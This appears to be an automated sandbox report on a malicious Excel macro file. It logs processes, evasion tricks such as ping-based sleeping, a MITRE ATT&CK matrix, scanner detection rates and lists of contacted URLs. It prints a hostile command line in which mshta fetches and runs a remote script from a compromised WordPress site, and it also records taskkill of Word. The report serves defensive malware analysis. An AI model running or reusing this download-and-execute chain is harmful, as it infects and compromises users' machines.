Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWdClass'El
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\SysWOW64\Macromed\Flash\activex.vch VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	1 Input Capture	1 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	121 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	11 Remote System Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	23 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	121 Scripting	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	13 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	48%	Virustotal		Browse
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	27%	Metadefender		Browse
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	58%	ReversingLabs	Script-Macro.Trojan.Amphitryon
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	100%	Avira	X97M/Agent.9944011
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
facextrade.com.br	5%	Virustotal		Browse
storage.ie6countdown.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6g	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0http://fa	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	100%	Avira URL Cloud	malware
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6s	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2a	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0JLMEM	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	100%	Avira URL Cloud	malware
https://facextrade.com.br/#servicosG7	100%	Avira URL Cloud	malware
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0S_	100%	Avira URL Cloud	malware
http://kyruus.com	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	100%	Avira URL Cloud	malware
https://my.microsoftpersonalcontent.com	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngs	100%	Avira URL Cloud	malware
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://facextrade.com.br/feed/	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.21	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.68	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/css/style.css	100%	Avira URL Cloud	malware
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417erC:	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0zp	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngery.flexslider-min.js?	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2LMEM	100%	Avira URL Cloud	malware
https://ncus.contentsync.	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngFb	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtmshta	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3Nq	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs	100%	Avira URL Cloud	malware
https://wus2.contentsync.	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0veLMEM	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0js1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtu_	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0veLMEM	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0js	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0LMEM	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0LMEM	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3eC:	100%	Avira URL Cloud	malware
https://facextrade.com.br/t	100%	Avira URL Cloud	malware
http://daneden.me/animate	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3s7	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.4	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsmr	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
facextrade.com.br	187.45.240.69	true	true	5%, Virustotal, Browse	unknown
gstaticadssl.l.google.com	172.217.16.195	true	false		high
netdna.bootstrapcdn.com	104.18.11.207	true	false		high
www3.l.google.com	142.250.181.238	true	false		high
storage.ie6countdown.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
translate.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6g	mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	mshta.exe, 0000000A.00000003.586809923.00000000076B1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586983840.00000000076B6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586920351.00000000076B3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.710748204.00000000076B7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.586713339.00000000076B0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0http://fa	mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://g.co/dev/maps-no-account	mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://rpsticket.partnerservices.getmicrosoftkey.com	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6s	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://netdna.bootstrapcdn.com/	mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://lh6.ggpht.com/	mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2a	mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.opensource.org/licenses/mit-license.php	mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705082305.0000000006956000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.557484334.0000000006956000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.dr, camera.min[1].js.10.dr, jplayer.playlist.min[1].js.10.dr	false		high
http://twitter.com/fontawesome.	mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	false		high
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0JLMEM	mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://facextrade.com.br/#servicosG7	mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	mshta.exe, 0000000A.00000003.474532753.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.475009943.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.474552056.00000000062D5000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
https://github.com/joeldbirch/onHoverIntent	mshta.exe, 0000000A.00000003.577274458.000000000C238000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.577520075.000000000C238000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713972166.000000000C237000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.708753943.000000000737B000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.10.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://support.google.com/fusiontables/answer/9185417).	mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0S_	mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://kyruus.com	mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	false	URL Reputation: safe	unknown
https://my.microsoftpersonalcontent.com	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/maps	mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngs	mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://store.office.cn/addinstemplate	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false	URL Reputation: safe	unknown
https://facextrade.com.br/feed/	mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.21	mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.68	mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3)	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/css/style.css	mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.odwebp.svc.ms	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false	URL Reputation: safe	unknown
https://api.addins.store.officeppe.com/addinstemplate	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417erC:	mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://graph.windows.net	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0zp	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit25	mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngery.flexslider-min.js?	mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2LMEM	mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://info.template-help.com/help/	style[1].css.10.dr	false		high
https://ncus.contentsync.	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false	URL Reputation: safe	unknown
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngFb	mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://weather.service.msn.com/data.aspx	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
http://facextrade.com.br/wp-includes/certificates/4.txtmshta	mshta.exe, 0000000A.00000002.700390648.00000000029D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700643794.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3Nq	mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	false		high
